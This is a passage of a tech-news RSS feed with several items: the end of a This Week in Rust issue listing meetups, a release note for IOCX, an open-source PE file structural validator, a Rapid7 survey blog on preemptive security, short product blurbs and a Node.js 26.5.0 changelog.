<li><a href="https://www.posttenebraslab.ch/wiki/events/monthly_meeting/rust_meetup"><strong>Rust Meetup Geneva</strong></a></li>
<li>2026-07-15 | Dortmund, DE | <a href="https://www.meetup.com/rust-dortmund/events/">Rust Dortmund</a></li>
<li><a href="https://www.meetup.com/rust-dortmund/events/315496876/"><strong>Teach and Hack at Projektspeicher</strong></a></li>
<li>2026-07-21 | Leipzig, DE | <a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig">Rust - Modern Systems Programming in Leipzig</a></li>
<li><a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig/events/313816470/"><strong>Supercharge Rust funcs with implicit arguments and context-generic programming</strong></a></li>
<li>2026-07-23 | Berlin, DE | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a></li>
<li><a href="https://www.meetup.com/rust-berlin/events/315484101/"><strong>Rust Berlin Talks: The next generation</strong></a></li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/london-rust-project-group">London Rust Project Group</a></li>
<li><a href="https://www.meetup.com/london-rust-project-group/events/315366453/"><strong>Rama modular service framework for Rust</strong></a></li>
<li>2026-07-23 | Paris, FR | <a href="https://www.meetup.com/rust-paris">Rust Paris</a></li>
<li><a href="https://www.meetup.com/rust-paris/events/315309633/"><strong>Rust meetup #87</strong></a></li>
<li>2026-07-30 | Manchester, GB | <a href="https://www.meetup.com/rust-manchester/events/">Rust Manchester</a></li>
<li><a href="https://www.meetup.com/rust-manchester/events/315037685/"><strong>Rust Manchester July Code Night</strong></a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#north-america">North America</a></h5>
<ul>
<li>2026-07-09 | Lehi, UT, US | <a href="https://www.meetup.com/utah-rust">Utah Rust</a></li>
<li><a href="https://www.meetup.com/utah-rust/events/314696647/"><strong>Utah Rust July Meetup</strong></a></li>
<li>2026-07-09 | Mountain View, CA, US | <a href="https://www.meetup.com/hackerdojo/events/">Hacker Dojo</a></li>
<li><a href="https://www.meetup.com/hackerdojo/events/315338107/"><strong>RUST MEETUP at HACKER DOJO</strong></a></li>
<li>2026-07-11 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a></li>
<li><a href="https://www.meetup.com/bostonrust/events/315225865/"><strong>MIT Rust Lunch, July 11</strong></a></li>
<li>2026-07-15 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a></li>
<li><a href="https://www.meetup.com/vancouver-rust/events/314233743/"><strong>Jiff</strong></a></li>
<li>2026-07-16 | Hybrid (Seattle, WA, US) | <a href="https://www.meetup.com/join-srug">Seattle Rust User Group</a></li>
<li><a href="https://www.meetup.com/seattle-rust-user-group/events/314520812/"><strong>July, 2026 SRUG (Seattle Rust User Group) Meetup</strong></a></li>
<li>2026-07-18 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a></li>
<li><a href="https://www.meetup.com/bostonrust/events/315225872/"><strong>North End Rust Lunch, July 18</strong></a></li>
<li>2026-07-21 | San Francisco, CA, US | <a href="https://www.meetup.com/san-francisco-rust-study-group">San Francisco Rust Study Group</a></li>
<li><a href="https://www.meetup.com/san-francisco-rust-study-group/events/314997214/"><strong>Rust Hacking in Person</strong></a></li>
<li>2026-07-22 | Austin, TX, US | <a href="https://www.meetup.com/rust-atx">Rust ATX</a></li>
<li><a href="https://www.meetup.com/rust-atx/events/xvkdgtyjckbdc/"><strong>Rust Lunch - Fareground</strong></a></li>
<li>2026-07-22 | Los Angeles, CA, US | <a href="https://www.meetup.com/rust-los-angeles">Rust Los Angeles</a></li>
<li><a href="https://www.meetup.com/rust-los-angeles/events/315376271/"><strong>Rust LA: Rust in Distributed Systems with Flight Science!</strong></a></li>
<li>2026-07-25 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust/events/">Boston Rust Meetup</a></li>
<li><a href="https://www.meetup.com/bostonrust/events/315582650/"><strong>Porter Square Rust Lunch, July 25</strong></a></li>
<li>2026-07-25 | Brooklyn, NY, US | <a href="https://flowercomputer.com/">Flower</a></li>
<li><a href="https://partiful.com/e/Vq9fyDNCMSO7ia4ulK5b"><strong>BOG-A-THON 2</strong></a></li>
<li>2026-07-30 | Atlanta, GA, US | <a href="https://www.meetup.com/rust-atl/events/">Rust Atlanta</a></li>
<li><a href="https://www.meetup.com/rust-atl/events/313539329/"><strong>Rust-Atl</strong></a></li>
<li>2026-08-01 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust/events/">Boston Rust Meetup</a></li>
<li><a href="https://www.meetup.com/bostonrust/events/315582653/"><strong>Chinatown Rust Lunch, Aug 1</strong></a></li>
<li>2026-08-04 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust/events/">Boston Rust Meetup</a></li>
<li><a href="https://www.meetup.com/bostonrust/events/314660176/"><strong>Evening Boston Rust Meetup at Red Hat, Aug 4</strong></a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#oceania">Oceania</a></h5>
<ul>
<li>2026-07-09 | Brisbane City, QL, AU | <a href="https://www.meetup.com/rust-brisbane/events/">Rust Brisbane</a></li>
<li><a href="https://www.meetup.com/rust-brisbane/events/315563251/"><strong>Rust Brisbane • July 2026</strong></a></li>
<li>2026-07-21 | Barton, AU | <a href="https://www.meetup.com/rust-canberra">Canberra Rust User Group</a></li>
<li><a href="https://www.meetup.com/rust-canberra/events/315307280/"><strong>July Meetup</strong></a></li>
<li>2026-07-23 | Perth, AU | <a href="https://www.meetup.com/perth-rust-meetup-group">Rust Perth Meetup Group</a></li>
<li><a href="https://www.meetup.com/perth-rust-meetup-group/events/315451138/"><strong>Rust Perth: July Meetup!</strong></a></li>
<li>2026-07-30 | Melbourne, AU | <a href="https://www.meetup.com/rust-melbourne/events/">Rust Melbourne</a></li>
<li><a href="https://www.meetup.com/rust-melbourne/events/315039480/"><strong>Rust Melbourne July 2026</strong></a></li>
</ul>
<p>If you are running a Rust event please add it to the <a href="https://www.google.com/calendar/embed?src=apd9vmbc22egenmtu5l6c5jbfc%40group.calendar.google.com">calendar</a> to get
it mentioned here. Please remember to add a link to the event too.
Email the <a href="mailto:community-team@rust-lang.org">Rust Community Team</a> for access.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#jobs">Jobs</a></h4>
<p>Please see the latest <a href="https://www.reddit.com/r/rust/comments/1ttbtf5/official_rrust_whos_hiring_thread_for_jobseekers/">Who's Hiring thread on r/rust</a></p>
<h3><a class="toclink" href="https://this-week-in-rust.org/atom.xml#quote-of-the-week">Quote of the Week</a></h3>
<blockquote>
<p>if a ptr is dereferenced in a forest and nobody hears it, is it sound?</p>
</blockquote>
<p>– <a href="https://users.rust-lang.org/t/does-the-indirection-of-a-pointer-immediately-create-a-reference/141071/10">Kornel on rust-users</a></p>
<p>Thanks to <a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328/1785">Cerber-Ursi</a> for the suggestion!</p>
<p><a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328">Please submit quotes and vote for next week!</a></p>
<p>This Week in Rust is edited by:</p>
<ul>
<li><a href="https://github.com/nellshamrell">nellshamrell</a></li>
<li><a href="https://github.com/llogiq">llogiq</a></li>
<li><a href="https://github.com/ericseppanen">ericseppanen</a></li>
<li><a href="https://github.com/extrawurst">extrawurst</a></li>
<li><a href="https://github.com/U007D">U007D</a></li>
<li><a href="https://github.com/mariannegoldin">mariannegoldin</a></li>
<li><a href="https://github.com/bdillo">bdillo</a></li>
<li><a href="https://github.com/opeolluwa">opeolluwa</a></li>
<li><a href="https://github.com/bnchi">bnchi</a></li>
<li><a href="https://github.com/KannanPalani57">KannanPalani57</a></li>
<li><a href="https://github.com/tzilist">tzilist</a></li>
</ul>
<p><em>Email list hosting is sponsored by <a href="https://foundation.rust-lang.org/">The Rust Foundation</a></em></p>
<p><small><a href="https://www.reddit.com/r/rust/comments/1ureq0r/this_week_in_rust_659/">Discuss on r/rust</a></small></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[PE structural validation notes (delay-load, exports, VS_VERSIONINFO) + IOCX v0.7.5 release]]></title>
<description><![CDATA[Publishing a release of IOCX (open-source PE structural validator, MPL-2.0) and posting some format-level notes alongside it. Write-up: PE structural validation: format ambiguities and decoder design The notes catalogue four categories of PE specification ambiguity encountered during decoder work...]]></description>
<link>https://tsecurity.de/de/3655754/malware-trojaner-viren/pe-structural-validation-notes-delay-load-exports-vsversioninfo-iocx-v075-release/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3655754/malware-trojaner-viren/pe-structural-validation-notes-delay-load-exports-vsversioninfo-iocx-v075-release/</guid>
<pubDate>Thu, 09 Jul 2026 04:03:03 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Publishing a release of IOCX (open-source PE structural validator, MPL-2.0) and posting some format-level notes alongside it.</p> <p><strong>Write-up:</strong> <a href="https://gist.github.com/malx-labs/ce30872e5db790f25c964b4027b2b7ee">PE structural validation: format ambiguities and decoder design</a></p> <p>The notes catalogue four categories of PE specification ambiguity encountered during decoder work, with focus on delay-load imports (the richest surface). Structured as: format description grounded in the spec --&gt; the ambiguity described precisely --&gt; what IOCX chose to do about it. There are no unverified claims about how other parsers behave, however cross-tool measurement is queued as follow-up work.</p> <p>Topics covered:</p> <ul> <li><strong>Delay-load imports:</strong> v1 vs v0 attribute mode, INT/IAT parallel-array interpretation and mismatch handling, descriptor array termination when declared-size and terminator signals disagree</li> <li><strong>Exports:</strong> ENPT sort discipline (byte-wise per spec) and forwarder grammar validation</li> <li><strong>VS_VERSIONINFO:</strong> nested length prefixes, DWORD alignment enforcement, signature validation for VS_FIXEDFILEINFO, StringTable key format</li> <li><strong>Resource hierarchy:</strong> Type -&gt;Name -&gt; Language depth expectations</li> </ul> <p><strong>IOCX v0.7.5 additions relevant to structural analysis</strong>:</p> <p>Four new parser/validator pairs, 24 new reason codes with priority-resolved sub-reasons via <code>details["reason"]</code>. Delay-load specifically emits:</p> <ul> <li><code>DELAY_IMPORT_ATTRIBUTES_LEGACY_VA_MODE</code> : v0 mode detected (obsolete, spec-permitted, requires VA-to-RVA conversion for correct interpretation)</li> <li><code>DELAY_IMPORT_INT_IAT_MISMATCH</code> : parallel arrays disagree on length</li> <li><code>DELAY_IMPORT_TABLE_TRUNCATED</code> with distinct sub-tags for each termination cause (<code>delay_import_descriptor_unterminated</code>, <code>_truncated</code>, <code>_max_exceeded</code>, <code>_read_failed</code>)</li> <li><code>DELAY_IMPORT_DLL_NAME_INVALID</code> with priority-resolved sub-reasons</li> <li><code>DELAY_IMPORT_ENTRY_INVALID</code> for per-import malformations (ordinal_zero, name_unterminated, name_not_printable, etc.)</li> </ul> <p><strong>Design notes:</strong></p> <ul> <li>Byte-level parsing via <code>struct.unpack_from</code> on <code>pe.get_data()</code> byte slices; no reliance on pefile's lazy attribute interpretation</li> <li>Bounded reads throughout (descriptor arrays capped at 4096, imports per descriptor at 16384, DLL name scan at 512 bytes, IMAGE_IMPORT_BY_NAME scan at 1024)</li> <li>Parsers never raise on malformed input; failures produce tombstone tags in <code>errors[]</code> and <code>truncations[]</code> lists</li> <li>PE32+ vs PE32 thunk sizing determined once from `OPTIONAL_HEADER.Magic` and threaded through the parse</li> </ul> <p><strong>Optional Header enrichment relevant to security-posture analysis:</strong></p> <ul> <li><code>dll_characteristics_flags</code>: decoded flag list (DYNAMIC_BASE, NX_COMPAT, GUARD_CF, HIGH_ENTROPY_VA, etc.)</li> <li><code>dll_characteristics_unknown_bits</code>: hex string for any bits outside the known-flag mask</li> <li>Stack and heap sizing (reserve + commit, 64-bit on PE32+)</li> <li><code>win32_version_value</code>, <code>loader_flags</code> exposed raw</li> </ul> <p><strong>Verification:</strong></p> <p>Delay-load parser cross-checked byte-exact against <code>dumpbin /imports</code> on <code>mspaint.exe</code> : 107 imports from gdiplus.dll with agreement on names, hints, IAT addresses, ordering, and bound state.</p> <p>1370 tests at 100% line and branch coverage on new modules. Defensive <code>struct.error</code> paths covered via monkeypatched injection.</p> <p><strong>Performance</strong> ~14ms typical PE, ~1ms on adversarial minimal PE.</p> <p><strong>Deferred:</strong></p> <ul> <li>TLS Directory parser and validator (next release)</li> <li>Single-anomaly fixtures for each new reason code (~25 planned, including negative controls for the ambiguities described in the Gist)</li> <li>Cross-tool measurement study using the fixtures</li> </ul> <p><strong>Repo:</strong> <a href="https://github.com/iocx-dev/iocx">https://github.com/iocx-dev/iocx</a></p> <p><strong>CHANGELOG:</strong> <a href="https://github.com/iocx-dev/iocx/blob/main/CHANGELOG.md">https://github.com/iocx-dev/iocx/blob/main/CHANGELOG.md</a></p> <p><strong>Reason codes reference:</strong> <a href="https://github.com/iocx-dev/iocx/blob/main/docs/specs/reason-codes.md">https://github.com/iocx-dev/iocx/blob/main/docs/specs/reason-codes.md</a></p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/iocx_dev"> /u/iocx_dev </a> <br> <span><a href="https://www.reddit.com/r/ExploitDev/comments/1uqt6i9/pe_structural_validation_notes_delayload_exports/">[link]</a></span>   <span><a href="https://www.reddit.com/r/ExploitDev/comments/1uqt6i9/pe_structural_validation_notes_delayload_exports/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Upgrade your agonizingly slow home office internet with TP-Link's Wi-Fi 7 Deco BE25 mesh router system — Amazon just dropped the price on the three-pack if you want to stop your video calls freezing]]></title>
<description><![CDATA[I love the AI Roaming, up to 6,000 sq ft of coverage, and Wi-Fi 7 speeds across three nodes.]]></description>
<link>https://tsecurity.de/de/3654931/it-nachrichten/upgrade-your-agonizingly-slow-home-office-internet-with-tp-links-wi-fi-7-deco-be25-mesh-router-system-amazon-just-dropped-the-price-on-the-three-pack-if-you-want-to-stop-your-video-calls-freezing/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3654931/it-nachrichten/upgrade-your-agonizingly-slow-home-office-internet-with-tp-links-wi-fi-7-deco-be25-mesh-router-system-amazon-just-dropped-the-price-on-the-three-pack-if-you-want-to-stop-your-video-calls-freezing/</guid>
<pubDate>Wed, 08 Jul 2026 19:17:19 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[I love the AI Roaming, up to 6,000 sq ft of coverage, and Wi-Fi 7 speeds across three nodes.]]></content:encoded>
</item>
<item>
<title><![CDATA[Security Teams Are Ready To Become More Preemptive. What’s Holding Them Back?]]></title>
<description><![CDATA[The shift toward preemptive security is underway, but most organizations are still navigating the realities of limited resources, fragmented tools, and emerging AI risk. At Rapid7’s recent Global Security Summit, we surveyed attendees to better understand where security leaders and practitioners ...]]></description>
<link>https://tsecurity.de/de/3654445/it-security-nachrichten/security-teams-are-ready-to-become-more-preemptive-whats-holding-them-back/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3654445/it-security-nachrichten/security-teams-are-ready-to-become-more-preemptive-whats-holding-them-back/</guid>
<pubDate>Wed, 08 Jul 2026 15:23:58 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><span>The shift toward preemptive security is underway, but most organizations are still navigating the realities of limited resources, fragmented tools, and emerging AI risk. At Rapid7’s recent </span><a href="https://rapid7.brighttalk.com/?utm_source=blog&amp;utm_medium=website&amp;utm_content=survey-blog&amp;utm_campaign=global-mdr-2026-global-virtual-summit-prospect-eng-nom-25" target="_blank"><span>Global Security Summit</span></a><span>, we surveyed attendees to better understand where security leaders and practitioners stand today, what is shaping their priorities, and what they need to move forward. Their responses offer a candid view into the current state of security operations: ambitious, increasingly AI-aware, and ready for change, but still working through the practical challenges of getting there.</span></p><p><span>For many teams, the direction is clear: security needs to become more proactive, more connected, and more resilient. Attackers are moving quickly, environments are expanding, and teams are under pressure to reduce risk before it turns into business disruption. But the survey results show that most organizations are still somewhere in the middle of that journey.</span></p><h2>Where organizations are today</h2><p><span>One of the clearest findings is that security operations are increasingly collaborative. According to the survey, 57% of respondents operate in a hybrid internal and MDR model. That reflects a reality many teams know well: internal expertise remains essential, but external support can help extend coverage, add specialist knowledge, and support faster response when internal resources are stretched.</span></p><p><span>This hybrid model also speaks to the complexity security teams are managing. Modern environments span cloud, identity, endpoints, applications, third parties, and expanding attack surfaces. Keeping watch across all of it requires more than tooling alone. It requires the right mix of people, process, visibility, and support.</span></p><p><span>At the same time, many organizations are still working to connect the dots across their security ecosystem. Two-thirds of respondents said their security capabilities are only partially integrated. For analysts, partial integration often means more manual work: switching between tools, stitching together context, and making decisions with an incomplete picture. When teams are jumping between systems, manually stitching together context, or working from incomplete data, it becomes harder to act at the speed modern threats demand.</span></p><p><span>The survey also showed that only 10% of respondents describe their organization as “highly proactive” in predicting and preventing threats, which points to the reality of where many teams are today. The ambition is there, but becoming truly preemptive takes time, integration, and operational maturity. Most organizations are still balancing the day-to-day demands of reactive response with the longer-term work of building a more proactive security model.</span></p><p><span>Confidence levels tell a similar story. 59% of respondents said they are only somewhat confident in their organization’s ability to prevent attacks before impact. Security teams understand what is at stake, but many still lack full confidence that they can consistently stop threats before they affect the business.</span></p><h2>AI is a priority, but trust matters</h2><p><span>AI was, of course, another major theme in the survey. Interest is high, especially when it comes to improving efficiency, accelerating triage, and helping teams manage growing volumes of data and alerts, but adoption is still developing. 52% of respondents said AI is in early-stage exploration within their security operations.</span></p><p><span>AI has clear potential in the SOC and across security operations, from summarizing investigations to enriching alerts, supporting prioritization, and helping analysts move faster. But security teams have to be deliberate about how they apply it. In high-pressure environments where accuracy, context, and accountability matter, AI needs to earn trust.</span></p><p><span>The survey results show that trust is still a key consideration. 57% of respondents cited securing AI usage as a top AI and security concern, while 44% cited lack of transparency or trust. These responses reflect a practical mindset. Security leaders are thinking about both sides of AI: how it can help defenders move faster, and how to manage the new risks it introduces. Internally, for AI to become operationally valuable, it has to fit into existing workflows, provide explainable outputs, and support human expertise.</span></p><h2>What security teams want next</h2><p><span>When respondents were asked what is preventing them from becoming more proactive, the top challenges were practical and familiar. 54% cited limited staff or expertise, making capacity one of the biggest barriers to progress. Teams may have the ambition to become more preemptive, but many are already balancing daily alert queues, incident response, vulnerability backlogs, compliance pressure, and business-as-usual security demands.</span></p><p><span>Visibility is another major factor. 31% of respondents cited lack of visibility across the environment as a barrier to becoming more proactive. Without a clear view of assets, identities, exposures, and attacker activity, teams struggle to prioritize what matters most. This is especially important as organizations look to move from broad detection toward more risk-aware, preemptive action.</span></p><p><span>The priorities respondents selected show where they want to go next. 41% selected preemptive security as a top security leadership priority, while improving resilience, strengthening incident response, reducing complexity, and improving risk visibility also appeared as recurring themes.</span></p><p><span>The findings from our Global Security Summit make one thing clear: security teams are ready to move toward more proactive, integrated, and AI-enabled operations, but they need the right visibility, expertise, and confidence to do it well.</span></p><p><span>To hear more from the experts and practitioners who joined us at the summit, catch up on the </span><a href="https://rapid7.brighttalk.com/?utm_source=blog&amp;utm_medium=website&amp;utm_content=survey-blog&amp;utm_campaign=global-mdr-2026-global-virtual-summit-prospect-eng-nom-25" target="_blank"><span>on-demand sessions</span></a><span>. And to learn how Rapid7 is helping organizations move toward preemptive security, explore </span><a href="https://www.rapid7.com/campaign/managed-detection-and-response/?utm_source=blog&amp;utm_medium=website&amp;utm_content=survey-blog&amp;utm_campaign=global-mdr-2026-global-virtual-summit-prospect-eng-nom-25" target="_blank"><span>Rapid7 Managed Detection and Response</span></a><span>, built to disrupt attackers earlier with broad ecosystem coverage, risk visibility, expert guidance, and an AI-powered SOC.</span></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Fi Ultra pet tracker uses T-Mobile's Starlink satellite service for coverage]]></title>
<description><![CDATA[Fi's latest dog tracker uses Starlink satellites for rural areas.]]></description>
<link>https://tsecurity.de/de/3654428/it-nachrichten/fi-ultra-pet-tracker-uses-t-mobiles-starlink-satellite-service-for-coverage/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3654428/it-nachrichten/fi-ultra-pet-tracker-uses-t-mobiles-starlink-satellite-service-for-coverage/</guid>
<pubDate>Wed, 08 Jul 2026 15:18:20 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Fi's latest dog tracker uses Starlink satellites for rural areas.]]></content:encoded>
</item>
<item>
<title><![CDATA[2026-07-08, Version 26.5.0 (Current), @richardlau]]></title>
<description><![CDATA[Notable Changes
New release key
Welcome to our newest releaser, Stewart X Addison. Future Node.js releases may be signed with his release key, 655F3B5C1FB3FA8D1A0CA6BDE4A7D232B936D2FD.
Other notable changes

[55f48446c7] - (SEMVER-MINOR) buffer: implement blob.textStream() (Matthew Aitken) #64036...]]></description>
<link>https://tsecurity.de/de/3654192/downloads/2026-07-08-version-2650-current-richardlau/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3654192/downloads/2026-07-08-version-2650-current-richardlau/</guid>
<pubDate>Wed, 08 Jul 2026 14:01:39 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Notable Changes</h3>
<h4>New release key</h4>
<p>Welcome to our newest releaser, <a href="https://github.com/sxa">Stewart X Addison</a>. Future Node.js releases may be signed with his <a href="https://github.com/nodejs/node/blob/main/README.md#release-keys">release key</a>, <code>655F3B5C1FB3FA8D1A0CA6BDE4A7D232B936D2FD</code>.</p>
<h4>Other notable changes</h4>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/55f48446c7"><code>55f48446c7</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>buffer</strong>: implement blob.textStream() (Matthew Aitken) <a href="https://github.com/nodejs/node/pull/64036" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64036/hovercard">#64036</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b373202efc"><code>b373202efc</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>esm</strong>: add <code>--experimental-import-text</code> flag (Efe) <a href="https://github.com/nodejs/node/pull/62300" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62300/hovercard">#62300</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/39e0c14455"><code>39e0c14455</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>perf_hooks</strong>: sample delay per event loop iteration (Pablo Erhard) <a href="https://github.com/nodejs/node/pull/62935" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62935/hovercard">#62935</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/999a83c937"><code>999a83c937</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>stream</strong>: expose ReadableStreamTee (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64195" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64195/hovercard">#64195</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4e0236dc3d"><code>4e0236dc3d</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>tls</strong>: report negotiated TLS groups (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64119" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64119/hovercard">#64119</a></li>
</ul>
<h3>Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/87648c0a6c"><code>87648c0a6c</code></a>] - <strong>benchmark</strong>: trim down the argon2 sets (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64218" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64218/hovercard">#64218</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a483bfd3f0"><code>a483bfd3f0</code></a>] - <strong>buffer</strong>: remove unreachable overflow check in atob (haramjeong) <a href="https://github.com/nodejs/node/pull/60161" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60161/hovercard">#60161</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6d14279688"><code>6d14279688</code></a>] - <strong>buffer</strong>: add fast api for isUtf8 and isAscii (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/64169" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64169/hovercard">#64169</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/55f48446c7"><code>55f48446c7</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>buffer</strong>: implement blob.textStream() (Matthew Aitken) <a href="https://github.com/nodejs/node/pull/64036" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64036/hovercard">#64036</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a67d9a7a44"><code>a67d9a7a44</code></a>] - <strong>build</strong>: allow linting node.1 (Aviv Keller) <a href="https://github.com/nodejs/node/pull/64157" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64157/hovercard">#64157</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/06c1fbc25b"><code>06c1fbc25b</code></a>] - <strong>build</strong>: enable Maglev for riscv64 (Jamie Magee) <a href="https://github.com/nodejs/node/pull/62605" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62605/hovercard">#62605</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/518309c363"><code>518309c363</code></a>] - <strong>build</strong>: suppress clang errors building libffi on Windows (René) <a href="https://github.com/nodejs/node/pull/64222" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64222/hovercard">#64222</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6a80ab485c"><code>6a80ab485c</code></a>] - <strong>build</strong>: add manually-dispatched stress-test workflow (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/64118" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64118/hovercard">#64118</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f4e7bf1f1c"><code>f4e7bf1f1c</code></a>] - <strong>build</strong>: pin envinfo versions in github actions (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/64117" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64117/hovercard">#64117</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/66f6ac0d86"><code>66f6ac0d86</code></a>] - <strong>build</strong>: support setting an emulator from configure script (Ivan Trubach) <a href="https://github.com/nodejs/node/pull/53899" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/53899/hovercard">#53899</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7f26c54aa6"><code>7f26c54aa6</code></a>] - <strong>child_process</strong>: fix permission model propagation via NODE_OPTIONS (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63972" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63972/hovercard">#63972</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/32bb554f5b"><code>32bb554f5b</code></a>] - <strong>crypto</strong>: fix large DH generator validation (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/64092" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64092/hovercard">#64092</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0908d76ef6"><code>0908d76ef6</code></a>] - <strong>crypto</strong>: reject small-order EdDSA points during verify (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64026" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64026/hovercard">#64026</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7f7e5863c2"><code>7f7e5863c2</code></a>] - <strong>deps</strong>: update undici to 8.7.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64282" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64282/hovercard">#64282</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/af91029801"><code>af91029801</code></a>] - <strong>deps</strong>: update nghttp3 to 1.17.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64182" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64182/hovercard">#64182</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2e500ba7b0"><code>2e500ba7b0</code></a>] - <strong>deps</strong>: update googletest to 8b53336594cc52213c6c2c7a0b29194fa896d039 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64181" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64181/hovercard">#64181</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/74e3aa24ba"><code>74e3aa24ba</code></a>] - <strong>deps</strong>: update sqlite to 3.53.3 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64180" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64180/hovercard">#64180</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c7e57f55a7"><code>c7e57f55a7</code></a>] - <strong>deps</strong>: c-ares: cherry-pick 8ba37af8e3fb (René) <a href="https://github.com/nodejs/node/pull/64110" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64110/hovercard">#64110</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/879fdc4daf"><code>879fdc4daf</code></a>] - <strong>deps</strong>: V8: backport da20a197a7f9 (Kevin Gibbons) <a href="https://github.com/nodejs/node/pull/64101" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64101/hovercard">#64101</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a640543a7c"><code>a640543a7c</code></a>] - <strong>deps</strong>: V8: cherry-pick 0cc9eb22c0b0 (Kevin Gibbons) <a href="https://github.com/nodejs/node/pull/64101" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64101/hovercard">#64101</a></li>
